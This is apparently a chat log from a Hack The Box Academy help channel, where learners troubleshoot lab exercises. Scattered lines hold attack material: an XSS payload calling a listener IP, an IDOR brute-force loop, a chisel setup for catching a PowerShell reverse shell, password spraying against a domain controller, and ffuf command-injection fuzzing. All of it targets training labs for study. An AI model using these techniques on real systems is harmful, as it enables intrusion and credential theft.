modules

[next bronze]

just use a different port to catch the system shell

[wary tendon]

well took me 3 hours but i got it wow

[wraith pelican]

i think it is ok even if it takes 2 days, there is no rush in trying to understand and try things

[candid night]

That's was an long and exhausting journey, but I managed to finish it

Second assessment was really tough imo

[cedar yew]

hi,

i use powershell but didnt accept

[wraith pelican]

congrats! you made it! and yes it tough but a pleasant one

[fathom pendant]

brother you blocked out the second output for the rights/ACE

literally the first answer is right there

read the question :)

[cedar yew]

no im try first answer and secondly answer format word-word

[fathom pendant]

yes

as in the answer is a-b

[cedar yew]

o understnd

[fathom pendant]

and it's formatted that way in your screenshot

[cedar yew]

deleted

[fathom pendant]

as word-word

[cedar yew]

thank you

[warm portal]

that module took me forever

[wraith pelican]

after that is the long desert of web stuff... rummaging with single quotes and one equals eventually to one hu...

[rustic sage]

Guys!

I am practing the Zephyr (PRO LAB). I've got the entry point 10.10.110.0/24. When I scan the network, it gives me 2 host alive and when I scan those host, I find nothing useful.

Please help

[wraith pelican]

#prolabs-zephyr

[rustic sage]

anyone please?

[fathom pendant]

Not in this channel

[rustic sage]

Fine, Suggest the correct one

[fathom pendant]

Read and follow #welcome to access #prolabs-zephyr

[rustic sage]

Thankyou. I was not loggen in with my account. I couldn't see it. NVM

[tranquil junco]

Bypassing Encoded References im stuck, im read through everyones post on here about it and still cant figure it out. This is my bashscript, can someone help me please. #!/bin/bash

for i in {1..20}; do
for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
curl -sOJ -X POST -d "contract=$hash" (target ip)/download.php
done
done

[wraith pelican]

maybe you missed targetip:port?

but there you just changed a number fron the course example, you should try to find how the contracts names are formatted and how to get them, it may be another method.

[spark osprey]

Hey guys, i'm currently doing the Whitebox Attacks Skills Assements. I've elevated my priv to a user. I'm pretty sure what the next step is but my attack might need some tweaks. Thanks in advance!

[little fjord]

Module: INTRODUCTION TO WINDOWS EVASION TECHNIQUES
Section: Process Injection
Hello everyone,
There seems to be a problem with the lab, there is no .exe file being run from C:\Alpha\ProcessInjection. The log.txt doesn't get updated since 7 of may. Is it possible for someone to have a look?

[zinc nimbus]

module: cross-site scripting
section: session hijacking
i've loaded my remote scripts and tried every parameter except for password and email and started a nc listening but i dont receive any responses back. Im not sure why

[wanton idol]

have u tried different type of xss payloads

[zinc nimbus]

i think for this section im supposed to use this payload
<script src=http://10.10.14.185:8080/username></script>
where i replace "username" with fullname, or "url" so when it gets sent back to my nc listening i know which paramater is vulnerable?

my ip 10.10.14.185:8080 is the tun0 interface

[wanton idol]

they also provided with other xss payloads for you to try if one didnt work

[zinc nimbus]

ooohh

[zinc nimbus]

i changed my vpn and thought the connection was bad now i feel stupid 😭

[fathom pendant]

https://tenor.com/view/tolarian-community-college-kyle-hill-magic-the-gathering-i-hate-your-deck-reading-the-card-gif-22381436

[zealous rune]

hi

trying to connect to a target using xfreerdp and a password for the lab in passing the ticket. I am getting what looks like a logon failure due to certificate not maching name of machine

i've tried /cert:ignore and also in case it was due to having previously had a machine with same cert but different ip for a previous lab i also deleted ~/.config/freerdp/knowhosts2 entries

[fathom pendant]

That wouldn't be the error

The error is more likely bad creds

[zealous rune]

xfreerdp /v:10.129.204.23 /u:Administrator /p:AnotherC0mpl3xP4$$

WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0 just a warning

then later
SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server

[next bronze]

wrap the password in single quotes

[fathom pendant]

This is the actual logon error

The first is just a Warning

[zealous rune]

got it thx

saved me a lot of time

the logon failure didn't seem to tell me much

it was the SPNEG0 that had me confused

[fathom pendant]

It means your creds are bad

That's just negotiation

[zealous rune]

ok. i thought it was referencing cyrpto negotiation

i got confused.

again

[fathom pendant]

Just wrap the password in single quotes

[zealous rune]

done and i'm in

just need to do the challenges now 🙂

[fathom pendant]

If it's a pass with $$ in it that's the call to the current shell PID

[zealous rune]

true

totally forgot about shell escaping

[fathom pendant]

Single quotes tells bash to interpret it as just a string

[zealous rune]

i really should have remembered that

time to dump some tickets : )

[fathom pendant]

SPNEGO is just the authentication protocol btw

[fathom pendant]

Yes, it's a connection issue of you getting dropped

Try adding: /timeout:9999

[sleek grove]

Hello there are french guys?

[rustic sage]

https://tenor.com/view/chris-pratt-interview-jimmy-kimmel-2021-gif-9091736678629998308

[rustic sage]

Very likely in France there are

[trail sail]

Hi, is this the correct way to add a host to RDP? I added it in the part I marked with the blue rectangle and the red rectangle

[next bronze]

you don't need to add to your hosts file to rdp

[trail sail]

I have the problem to RDP to the user to get the flag for the last question of the module AD, section
Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
I go the user and password but i am unable to access with xfreerdp

[wanton idol]

are you able to ping the ip?

and also just in case add the single quotes around the password

[trail sail]

Yeah i can ping the IP. Already added quotes around the password, the result is the same 😦

[silk anchor]

Try rdesktop from the attack box or you could maybe dynamic port forward over ssh and try to RDP from your vm?

I had this error today on the AD module also but on an earlier section but I cant remember how I fixed it, wasn't anything special/fancy.

[trail sail]

It is taking its time lol

Oh boy 😦 Unable to connect too with rdesktop

[trail sail]

Suddenly worked lol

[worn matrix]

can i ask something guys,do other ppl have big problem with VPN or its just me?

[rustic sage]

https://academy.hackthebox.com/module/110/section/1053

currently on this module, and whenever i run the proxychains command on a website it gives me an error

[storm elk]

User issue. He deleted a line he wasn’t supposed to

[rustic sage]

yea im an idiot

PEBCAK

[rustic sage]

wait no it still doesnt workj

[sleek grove]

I dont speak very good🤣

[sleek grove]

Lmao

[rustic sage]

[steady matrix]

Hi all, sorry if this is a stupid question but, module DACL ATTACKS I, targeted kerberoasting, question 2 asks to use Bloodhound. I'm probably missing something but I can't find the data from an ingestor to upload and use, I just have a blank BH. I've looked into the various folders but nothing. What am I missing?

[shut quest]

did you run sharphound or bloodhound.py?

[steady matrix]

Oh right i somehow thought they were already provided, I did say it was likely a stupid question. Thanks mate!

[ebon nymph]

Module:-INFORMATION GATHERING - WEB EDITION & Section:-DNS zone transfers can someone help after using dig ns with target what i need to do next not able to ping the target

[wraith pelican]

Did you add inlanefreight.htb to your /etc/hosts file?

[ebon nymph]

should i share url?

[wraith pelican]

what do you mean?

[ebon nymph]

its ok i am trying means that command with url which i used

[outer dagger]

https://academy.hackthebox.com/module/77/section/844

The second question, I can't get it.

I used chmod 600, I copied the private SSH key from id_rsa from target machine to my local machine

I don't know why it's doing that, i'd appreciate if someone could help with this

[wraith pelican]

well, yeah you can post the command you typed. Or anything that could be relevant to help someone help you troubleshooting your issue.

[outer dagger]

Seems it's just not the second question, but I tried re-connecting back to the machine and now that doesnt work either

I'll try to reset my target.

Seemed like to be a target issue, as I reset the target it got fixed.

[solar zodiac]

no clue why my postgres exploit script isnt working for the skills assessment of the Advanced Sql Injection module. the first query runs, but then none of the other queries run. I set a select pg_sleep(10) after each query to see if it errored out, and only the first query is running. It seems its not able to INSERT

the script ran well for bluebird but its not working for the skills assessment

[mint peak]

Is there anyway to reset an answer? With the new information gathering update, it only has me doing the new questions, but the old answers still remain

[fathom pendant]

No

[solar zodiac]

sweet I think I found a work around! It was probably intended im just dumb and took a while to figure it out

learned alot reading the docs 🙂

[jaunty mortar]

Can I have a hint, I'm working on the Advanced XSS and CSRF exploitation module, specifically section "Launching Attacks from the Victim's Session".
I've tried using the reset function with no luck, I suspect that's not the right way as the reset function appears to be disabled.
I also tried exfiltrating the home page (home.php) using the XSS vulnerability but I get nothing on my exfiltration server.
In my payloads I have tried variations with try/catch statements to catch errors but still no luck.

[solar zodiac]

got it 😄 wow this was an awesome module

[acoustic owl]

Take a close look at the page. What exactly do you need to send messages?
Even an admin will need this 😉

[vocal niche]

Hi, I've just tested the tier 0 modules and found that some of them lack a coherent structure in the sections and some sentences really don't make sense. So I ran the text content of these modules through an AI-generated text detector (https://www.zerogpt.com/fr/) and it appears that they've been totally generated. It's mostly about a certain author, does hackthebox know about this? If so, it's a bit disappointing...

[south bison]

Why it is wrong rephrasing your text using GPT?
And also why do you trust that zerogpt thing? I guess it just checks some rules and flags it as "generated from GPT" and nothing more.

[vocal niche]

It's not just rephrasing. When I read it, I immediately understood that the text had been generated because of its strange structure, as I see a lot of AI-generated text in my line of work. To confirm this feeling, I simply used this tool as I've been able to confirm in the past that it manages to correctly detect and locate portions of generated text (you can try it with chagpt text, it's pretty accurate). The content of these modules is also detected by other systems (for example https://undetectable.ai/ which summarises the results of other detectors). Some parts of these modules may have been conceived by a human, but I strongly recommend that you check them out.

[rustic sage]

Comrades, good day, I want to ask you this specific question: If I want to practice a lot about the password attack module or another specific topic, does the academy offer this possibility to focus on a topic, whether it is any topic? I appreciate your contribution.

[acoustic owl]

You can practise in a module for as long as you like

[rustic sage]

I understand but I want to know as such where I can perform it on the machines or is there a specific topic that says passwords attacks or another topic

[acoustic owl]

The Academy itself only provides the modules.
At the end of the modules, machines are often suggested by the main platform that deal with the topic from the module

[main spear]

Hello everyone, which module would you recommend me in order to do Zephyr ? I did the module Ad enumeration & attacks but i have 500 cubes left, i was thinking of the Kerberos module ?

[eager ledge]

Has anyone else faced this issue or is it just me? When I try to do RDP using Reminna, I get a black blank screen. But when I RDP into the same machine right after, using xfreerdp, I get the GUI.

[wraith pelican]

yes, you could try to press the enter/return key onyour keyboard, sometimes it needs a little push

[eager ledge]

Thanks I will try that

[timber hatch]

does the ouptut look right when i use the command:
.\EvtxECmd.exe -f "C:\Users\johndoe\Desktop\forensic_data\kape_output\D\Windows\System32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx" --csv "C:\Users\johndoe\Desktop\forensic_data\event_logs\csv_timeline" --csvf kape_event_log.csv

[iron ibex]

Module : Footprinting
Section : IMAP / POP3
Question : "Figure out the exact organization name from the IMAP/POP3 service and submit it as the answer. "

I don't understand why my answer is not valid, it's written LITTERALLY...
Any hint would be appreciated 🤔

[lucid wyvern]

Did you add Ltd

[iron ibex]

Oh god I feel so dumb
Thanks sir 🙂

[lucid wyvern]

No worries 🙂

[ember fern]

hey, mind if I pm you now?

[timber hatch]

INTRODUCTION TO DIGITAL FORENSICS
Rapid Triage Examination & Analysis Tools
Review the file at "C:\Users\johndoe\Desktop\forensic_data\kape_output\D\Windows\System32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx" using Timeline Explorer. It documents the creation of two scheduled tasks. Enter the name of the scheduled task that begins with "M" and concludes with "r" as your answer.

kind a stuck here. i searched in the file for tasks, i filtered Event Record Id for 1, filtered for process creation but haven't found the right answer.
any hint? it feels like it shoulnd't be so difficult...

[acoustic owl]

Sure, go ahead.
I'm on my way to work right now, but I'll write you back as soon as I can.

[orchid lichen]

Sup guys

Y’all have aimbots by chance?

[timber hatch]

[wraith pelican]

i've not done that module so can't really guide you, but when you say you searched for "task". You mean the word? Did you search for a specific event ID related to scheduled task creation?

[timber hatch]

i searched for creation, the word task and event id 1 (which should be related to creat a task)

[wraith pelican]

ok, but event ID 1 is process creation... when I google event id scheduled task creation, i see different IDs

[timber hatch]

i found also 4698 , but either no luck with this one

it feels like it shoulnt be so difficult...

[rustic sage]

@timber hatch I haven't done the CDSA but, have you filtered in timeline explorer under "Operation"

Hopefully there's an option to filter that by "Scheduled Task", I dont have the evtx file or TImeline explorer to try it im going off memory

[wraith pelican]

it is probably not, when you have the answer it will seems trivial

[timber hatch]

you mean a column header with operation? this does not exist

[rustic sage]

Interesting

What columns do you have available from the evtx log?

I can't re-create your envinronment so some screengrabs or more detail will help, unless someone who has done it jumps in

[timber hatch]

uff, a lot.

[rustic sage]

👀

Are you able to find schtasks.exe in any process listing or the PID for schtasks.exe?

@timber hatch

[timber hatch]

yes, but also with that i do not find the answer

[wraith pelican]

is there any possibility to search for the name? it begins with "M" and concludes with "r". Something like a wildcard or something ? M*r or some regex? Or filter out stuff you know for sure it will not be, to reduce you search surface?

[nova ocean]

hey guys can anyone help me with this question??i have been trying for days, thank u in advance

INFORMATION GATHERING - WEB EDITION
Creepy Crawlies
After spidering inlanefreight.com, identify the location where future reports will be stored. Respond with the full domain, e.g., files.inlanefreight.com.

[pseudo kiln]

without giving too much, if you attempt all the techniques shown on the page it will be pretty easy to spot

also may not be super obvious, output needs to be analyzed attently, espcially anything that may refer to comments

[timber hatch]

is this for me?

[pseudo kiln]

no, its about the web

as more obvious hint, have you considered using one of the crawlers/spiders they present ?

[nova ocean]

i did crawl

[timber hatch]

tried that also yes

[nova ocean]

i did python3 ReconSpider.py http://inlanefreight.com

[nova ocean]

i finished the whole module i only have the one i told u

which where it saves

[spark spruce]

DM!

[kind arrow]

Ahoyhoy, still doing the linux fundamentals, but I am becoming sooooo frustrated with linux. Its always "it should work like this" ...." but not in this case". Now I try to put my curl output to a file. curl https... > file.txt , file is always just empty

[nova ocean]

thanks

[wraith pelican]

Assuming you are not querying something with no results(dont know if possible), if you take a look at the curl help, is there any other flag you could try to signal an output file?

[kind arrow]

so i used the -o but still nothing 😦

[wraith pelican]

what are you trying to curl?

[kind arrow]

ohhh I am so dumb the www. got lost in the process >.> thank you ❤️

[hot parrot]

Hello, trying to complete the Web Request module in HTB Academy. I'm on the HTTP methods - POST at the moment trying to get the flag.

I was able to login with the session ID w/ curl, search the flag via curl, but when I enter it, it keeps saying incorrect.. not too sure if I found the wrong flag...?

[wraith pelican]

I don't know about the process or the wrond flag, but did you check for a starting or trailing space?

[hot parrot]

Thank you , this worked although I had to remove a word out of the flag

[viral lotus]

did my message get removed because I didn't obfuscate the answers?

right ok

[wraith pelican]

i don't know, i guess if a mod removed your message they would have said something

[viral lotus]

oh but it disappeared but no one has said anything?

[wraith pelican]

i dont know what happened, i saw your first message but not a module i did, got busy on another screen, came back to see your other message

[viral lotus]

ahh fair enough just trying to understand the fundamentals of Event Viewer but it appears not many actually do too much with it, I guess I will just have to follow my hunch

[wraith pelican]

yeah... it seems there are less people doing blue team modules, so i guess getting answers could be a bit more uncertain

[rustic sage]

Comrades good day I'm stuck with a question modules: section Attacks on passwords Attacking Active Directory & NTDS.dit the question is the following In a compromise, you have gone to several social media sites and found the names of Inlanefreight employees: John Marston, IT director, Carol Johnson, financial controller, and Jennifer Stapleton, logistics manager. You decide to use these names to carry out password attacks against the destination domain controller. Please submit John Marston's credentials as a response. (Format: username:password, case sensitive) But I see that when I run the tool I get a build error something like this: SMB 10.129.202.85 445 ILF-DC01 [*] Windows 10.0 Build 17763 x64 (name:ILF-DC01) (domain:ILF.local) (signing:True) (SMBv1:False)
Trace (last most recent call):
File "/usr/local/lib/python3.11/dist-packages/impacket-0.12.0.dev1+20240208.120203.63438ae7-py3.11.egg/impacket/smbconnection.py", line 278, in login
return self._SMBConnection.login(user, password, domain, lmhash, nthash)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/impacket-0.12.0.dev1+20240208.120203.63438ae7-py3.11.egg/impacket/smb3.py", line 1040, at login
if packet.isValidAnswer(STATUS_SUCCESS):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

The command I run is the following crackmapexec smb 10.129.202.85 -u johnmarston -p /usr/share/wordlists/fasttrack.txt

[safe yoke]

help

[next bronze]

format your message with code blocks pls, hard to see the actual output

you can use netexec instead of crackmapexec

[viral lotus]

Yeah would appear so, going out on a whim I don't suppose you know of any good courses that might cover it?

[jaunty mortar]

tx, i'll have a look

[oak girder]

Good morning, I would like to ask XXE Advanced File Disclosure why I used the expected payload, but it did not work as expected

[brisk ferry]

guys, it seems that "Information Gathering - Web Edition" is broken after update. Someone was able to get last skill assessment flag?

Question are different, but immutable submitted answers. inlanefreight.htb seems broken. Someone is experiencing same issue?

[oak girder]

Thank you I found the problem, I didn't close the content

[calm abyss]

hello, i got a connectivity problem.

I dont know where to ask

I am doing WINDOWS PRIVILEGE ESCALATION / Windows Server

But i cannot RDP to the server, remmina says unable to connect. I switched to EU 1,4,5 but nothing works.

[tender radish]

The answer to one of the modules is wrong

module/77/section/847

netcat returns SSH-2.0-OpenSSH_9.2p1 Debian-2, and it says it's wrong, and when i reveal answer i get that the correct answer is ubuntu

[kindred dawn]

Hey in modules of password attacks, There seems to be a problem with installing crackmapexec on the attack box...

tried installing python3-neo4j from another source and have encountered some problems... :/

[tender radish]

ah, yes, but i used port 22 instead of 43364

thanks

[next bronze]

you should use the port provided to you

[calm abyss]

I used chat gpt to debug, now its working

Based on the detailed debug output, it appears that the issue is specifically related to the negotiation of the NLA security layer. The error ERRCONNECT_TLS_CONNECT_FAILED suggests that the TLS handshake is failing. Let's try some additional approaches:

[tender radish]

got it. in the example they used 22, so that's why, i thought it's the default port for ssh

[kindred dawn]

Any fix?

[next bronze]

use netexec instead

[kindred dawn]

ok thanks

[next bronze]

use /tls-seclevel:0

[calm abyss]

i got it working

[kindred dawn]

so basically netexec is crackmapexec but more up to date??<

[next bronze]

yep, it's the fork that's being maintained

[kindred dawn]

that' sweet, didnt know that

[cedar yew]

hi all

AD enum attack modul
ACL Seciton
DcSync Page

i use the secretsdump and output cleartext file but this file in empty

I found my user but the cleartext file is empty and I can't see the user's password

[ebon nymph]

can someone help i even tried fuzzing on this target but still didn't get single 200 how to solve this ..... Module:-ATTACKING WEB APPLICATIONS WITH FFUF & Section:-Sub-domain Fuzzing

fuzzing output

[rustic sage]

Try using another wordlist?

[ebon nymph]

ok

[next bronze]

isn't the answer right there

[ebon nymph]

got it

[ebon nymph]

i think i made blunder by using fuzzing just want to use logic xd but got it

[wraith pelican]

unfortunately i'm not much help since I haven't yet really investigate the defensive side. However searching in my bookmarks I see this Sans Forensics & incident response youtube channel, there might be some good content in there: https://www.youtube.com/@SANSForensics/search?query=event viewer

[sly kelp]

Modern Web Exploitation Techniques

am supposed to run the application locaaly ad exploit to get flags ?

or they just gave source code for better understanding

[buoyant junco]

guys, anyone had problem for Attacking DNS? and this question? Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer.

I have not been able to make any progress and I don't know what I am doing wrong.

[next bronze]

which section

[sly kelp]

SSRF Basic Filter Bypasses

there is target ip but zip file too so i was confused what exactly I have to do

[next bronze]

the source is given so that you know how to attack it

some of the things are not really possible to know without the source code

[sly kelp]

Yeah i was thinking that so i asked

thanks buddy have a good one

[next bronze]

you can target specific users with secretsdump.py

[fiery crane]

I am doing shells and payloads - the live engagement
The rdp screen is very small and doesnt change resolution.
xfreerdp /v:IP /d:HTB /u:htb-student /p:'HTB_@cademy_stdnt!' /dynamic-resolution

[next bronze]

set a fixed resolution e.g./size:1200x800

[pseudo kiln]

I am trying to do a reverse port forward with chisel, to get a reverse shell, back but it's failing

On kali:

kali@kali:~$ chisel server --reverse -p 10001 &
[1] 16168

2024/07/01 11:44:11 server: Reverse tunnelling enabled
2024/07/01 11:44:11 server: Fingerprint lhknR+IHrzzNUTj9GsM9OsLMCkyoujeVStv8/RPzcw4=
2024/07/01 11:44:11 server: Listening on http://0.0.0.0:10001

nc -lvnp 12345

on pivot box

webadmin@inlanefreight:~$ ./chisel client 10.10.15.16:10001 R:55555:127.0.0.1:12345 &
2024/07/01 12:04:27 client: Connected (Latency 41.294889ms)

on target on the remote network, big powershell command fails like this

New-Object : Exception calling ".ctor" with "2" argument(s): "No connection could be made because the target machine
actively refused it 172.16.5.15:55555"

Anyone got an idea ? In my mind I am telling the pivot box to listen for any connection attempt on 55555 and forward it to 12345 on kali. On powershell I attempt the reverse shell towards the pivot's box internal network IP 172.16.5.15, port 55555

(powershell command is just powershell 1 from reverseshell generator site)

[fiery crane]

worked, thanks.

[next bronze]

I wouldn't use such a high number port, anything above ~49k are dynamic ports

[rustic sage]

Hey I'm new here Can anyone suggest free resources for ethical hacking?

[pseudo kiln]

same outcome with 33333

I can get triple pivot, bind shell on anything but for the love of almighty I cannot get a reverse shell and been trying whole day

[next bronze]

shouldn't the revshell connect to port 12345 instead

[past kite]

Hey guys
what to do if I have a chain going on, for example: web site show a lot of directories— Directory Listing Enabled, went to some directory and uploaded a file there, which was not supposed to be— Unrestricted File Upload. How should I make it out in the report?

[next bronze]

also the listener is opened at 127.0.0.1 but your powershell is connecting to 172.16.5.15

[pseudo kiln]

am I missunderstanding how chisel reverse port forwarding works ? in my mind this tells the client to listen on 55555 and forward everything to the server at 12345
R:55555:127.0.0.1:12345

or is that wrong ?

toplogy for reference. Ubuntu is the pivot box. The idea is get the a reverse shell from server 1 to Kali

[next bronze]

it's the other way around

R:<local-interface>:<local-port>:<remote-host>:<remote-port>/<protocol>

which does reverse port forwarding, sharing <remote-host>:<remote-port>
from the client to the server's <local-interface>:<local-port>.

[pseudo kiln]

well I apreciate all the help, but that still did not do it

i think the syntax is for ssh reverse port forwarding too, not chisel

[next bronze]

this is taken from the chisel repo

[pseudo kiln]

well the github only has the man page of the tool itself as explanations...

idk, for some reason this only works with metasploit, anything manual and it does not work....

[next bronze]

yes and it's taken from that

there's also this
https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html

[pseudo kiln]

yeah I read that one, pretty good info for regular pivoting

reverse port forwarding not so much

[next bronze]

huh? reverse port forwarding is mentioned

[pseudo kiln]

yes, but not for the scenario I am interested in, catching reverse shells. And the CPTS course only show you how to do it with metasploit lol

[viral lotus]

Thank you, apologies for the delay I wewnt to the gym to try get my mind going lol... that actually looks a really useful channel I know Sans are well regarded

[fathom pendant]

I mean... the concept is the same

You have the reverse point to your listening port

[pseudo kiln]

yes, but without a practical example, I am lost

like I could not find anywhere, "ok we established a pivot point with host A, now lets setup a chisel reverse forward to catch a reverse shell from host C"; no content for this

[fathom pendant]

Practice on the double pivot host from the pivoting and port forwarding module

Or the skill assessment

It's what I did to get used to ligolo

[pseudo kiln]

it's what I did, double pivot on asseessment and is fine. I have setup a small lab with mixed linux windows and practiced triple pivot on it too. I can get a bind shell with all of the machines.

[viral lotus]

I am pretty sure there's some really good stuff on youtube for chisel examples I want to say john hammond done some stuff, I reviewed that when I was doing some CTF boxes that needed it

[pseudo kiln]

thanks a lot, that finally did it for me

[vernal forge]

@late moth at the first question it says "based on the last result, find out wich operating system it belongs to" but it doesn't gave me an IP address to scan, and the last result don't say anything about operating system

[fathom pendant]

Because it's based on the last example

Hint: TTL is interesting

[vernal forge]

I can't see anything about operating system in the examples, it only shows echo requests, echo reply, host up, mac address

[fathom pendant]

Yes. TTL is one way to find out an operating system, utilize Google

There's a good handful of Defaults for different base kernels

[fathom orchid]

Hi guys I need some help I just signed up I'm out of date and I need help with memory addresses I used to bof rop and I'm from the 80's please help

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[fathom pendant]

If it's not related to an academy module, read and follow #welcome to access more channels

[late moth]

dang, you got the answer out quick. I can tell you've looked at that module a couple times lol

[fathom pendant]

It's something I remember looking up

"How to get os info from a ping"

A lot of my stuff is from doing the extra legwork to understand it

[vernal forge]

ooohh I didn't know that, I just answered now thanks ♡

[late moth]

seems like its paid off.

[fathom pendant]

And spending time here reinforces, if I'm unsure I'll just spin up the lab to be sure I'm not misremembering or my notes are incorrect

[silk anchor]

After reading the PetitPotam section in the AD Module my brain is about to explode

[next bronze]

it's just ntlm relay 😄

[hexed oyster]

OK, I feel really stupid asking this but I can't find any documentation on this anywhere... How do I encode input with ffuf? I see the '-enc' in the help page, but I don't see any explanation on how to actually use it...

Any advice?

[wraith pelican]

in the image: In place of finding a wordlist with numbers from 0 to 2000, this will send the command output as a wordlist.
... i saved that from a ippsec video, it seems ffuf accepts some bash (?) as wordlist. Or a solution could be encoding payload before sending it to ffuf via a variable as wordlist? Or encode the ffuf output with piping into something.

[hexed oyster]

@wraith pelican 🤔 probaby just going to have to pre-encode the word list. I was hoping not to have to mess with it because my shell scripting isn't that strong, but I suppose now is as good a time to brush up on it as any... 🤷

[wraith pelican]

found that
https://github.com/ffuf/pencode

[hexed oyster]

@qui3t Yeah, I found that too, I haven't looked into it, yet. However, it's also on my list of things to at least check out.

@wraith pelican yeah, that sounds like what I'm looking for.

[wraith pelican]

@hexed oyster i just checked the ffuf help,
-enc Encoders for keywords, eg. 'FUZZ:urlencode b64encode' it seems you just need to add which encoding you want after the FUZZ in your command
That or after the FUZZ we can add after the wordlist

[hexed oyster]

@wraith pelican I've tried that and it seems like it breaks. let me try again and verify

this is the command that I know is working now

ttack/os-cmd-execution/inject-whoami.txt":CMD -u "http://94.237.59.63:40239/index.php?to=tmp&from=238002
9473.txtDELIMCMD&finish=1&move=1" -replay-proxy "http://127.0.0.1:8080" -fr "\s*Malicious\s+request\s+de
nied" -H "Cookie: filemanager=gs5v3te0o8hjf3jsu8glvtdj3g"  -c -ic -r```

change I'm going to make: -w "$HOME/src/fuzzdb/attack/os-cmd-execution/shell-delimiters.txt":DELIM:urlencode

above change caused an error:

see last line of the screenshot

unless I'm misunderstanding what the documentation is saying... entirely possible.

[wraith pelican]

that s complex command just to check how the encoding works, so much could go wrong : D

[hexed oyster]

Not incorrect. 😁

not really sure how I'd simplify it, though.

[wraith pelican]

this works ffuf -w wordlist.txt:FUZZ -x http://127.0.0.1:8080 -u http://10.10.11.20:3000/#/FUZZ -enc 'FUZZ:b64encode'

@hexed oyster for yeah different FUZZ word you use, you can specify the encoding

[hexed oyster]

OH!!!!

You specify it at '-enc'!

🤦‍♂️

Thank you.

I don't know why I didn't put that together...

[wraith pelican]

yes flag -enc then the word in single quotes and the encoding type, but i cant find a list of possible encoding at the moment

and thank you too I learned something

[hexed oyster]

https://tenor.com/view/the-more-you-know-gif-26317296

[rustic sage]

Colleagues I am stuck with the question in the password attack module, specifically the Attack Active Directory & NTDS.dit module because at the moment I am executing the command I get an error.

The question is:
In one engagement, he's gone to several social media sites and found the names of Inlanefreight's employees: John Marston, chief IT officer, Carol Johnson, financial controller, and Jennifer Stapleton, logistics manager. You decide to use these names to carry out password attacks against the destination domain controller. Please submit John Marston's credentials as a response. (Format: username:password, case sensitive)

The command I execute is the following:
Crackmapexec SMB 10.129.38.239 -u names.txt -p /usr/share/wordlists/fasttrack.txt

[fathom pendant]

Did you use a tool like username-anarchy to create the namelist?

[rustic sage]

If I have created the list, the problem is when I am compiling the crackmapexec I get several errors in the execution

I have the mistake but I don't know how to handle it

[next bronze]

I've replied to you couple hours ago to use netexec instead

[fathom pendant]

^

[rustic sage]

I also used it and I have errors with Netexec is that I think it has to do with impacket

[fathom pendant]

Cme is archived

Nxc shouldn't have any conflicts with impacket

[next bronze]

how did you install it

also what's the error

[rustic sage]

sudo apt install netexec

I'm going to show the error I get with Netexec

[fathom pendant]

You can't paste images here unless you follow #welcome

And large output often gets blocked by mee6/automod

[rustic sage]

It's really like 16 lines

ModuleNotFoundError: No module named 'impacket.dcerpc.v5.gkdi'

[next bronze]

uninstall the apt version, follow this instead
https://www.netexec.wiki/getting-started/installation/installation-on-unix

use pipx

[rustic sage]

Thank you friend I'm going to check it out and I'll tell you

[drifting thorn]

Hi everyone, I got a problem with this Q " What credentials does Bob use with WinSCP to connect to the file server? (Format: username:password, Case-Sensitive) ", I already found the password with the tool Lazagne that is FSad... and so on... so the thing is that the answer is not correct... but the tool show me the password of that service WinSCP, so I dont understand what is wrong or what

[muted bronze]

How am i supposed to know that?
It is from linux fundamentals module

• 1 Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com/" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

[fathom pendant]

Did you format it username:password?

[fathom pendant]

For your question: google, plenty of forum answers witn commands to give you the answer

[muted bronze]

I mean, is it how i have to do the course? just to google answer with explanation of the command provided?

i thought it is too easy

[fathom pendant]

For this question, yes

It's the most curveball question

[muted bronze]

alright, thank you

[fathom pendant]

Most of the rest of the modules require research

But a good portion is given to you

Did you try using it?

[spare dove]

i tried

i got a text file but i opened it to find some large amount of text with no mention of "flag"

[fathom pendant]

Well check the options and see what you might need to change to get the /flag.txt file

[spare dove]

aight will try that ty ty

[fathom pendant]

The file you retrieved is a common linux file

[spare dove]

aight

[rustic sage]

@next bronze Thank you friend, you have saved me, now I can continue with the questions greetings from a distance

[next bronze]

looks like the apt netexec doesn't handle envs properly

[spare dove]

Worked!

[rustic sage]

If it's true, I'll be careful with the facilities from now on @next bronze

[drifting thorn]

hah, I just found out that I don't know how to read... I hate myself for this. (laugh in pain)

well, doesnt works with Bob:FSad***** bruh

[fathom pendant]

Make sure no extra spaces

[drifting thorn]

noup everything is fine

i got it, i was using the incorrect user

[rustic spire]

got a question in SIEM Visualization Example 4: Users Added Or Removed From A Local Group (Within A Specific Timeframe)

[flat frost]

Hello everyone I am stuck on the "Server-Side attacks" module. Specifically the "Nginx Reverse proxy and AJP" (3rd one down). I have commented out the server portion and pasted in what the instructions say but I am getting the following error -->
➜ ~ sudo nginx
nginx: [emerg] invalid host in upstream "http://83.136.252.57:39542/" in /etc/nginx/conf/nginx.conf:37
I have tried the IP and both ports (including 8009) from the spawned target as well as localhost, and 127.0.0.1.

I can supply a copy of my config file if anyone is willing to help out

[rustic spire]

this is what the question says but none of the timestamps on the graph i made match the description

[zealous rune]

hi I'm workign on the optional challenges on Pass the Ticket from Windows section. I have completed the other challenges using mimikatz to dump tickets and load johns ticket into the existing session. I close the cmd and powershell windows. Then I try to repeat my attacks using rubeus. However before I do so I check if I have access to \DC01\john\john.txt and it seems I have?

shouldn't I lose access to this share since I closed the cmd which i loaded john's TGT into?

[next bronze]

the ticket is injected into the current session, it's not limited to a single cmd

if you want to inject fresh tickets, both mimi and rubeus has the function to purge tickets

[terse aurora]

I'm stuck in the metasploit course at the section modules, as no methods (I've searched a lot on the internet) work. Every time I get Exploit completed, but no session was created. Any help is much appreciated. Thanks :)

[final kite]

can somene help me with reverse shell

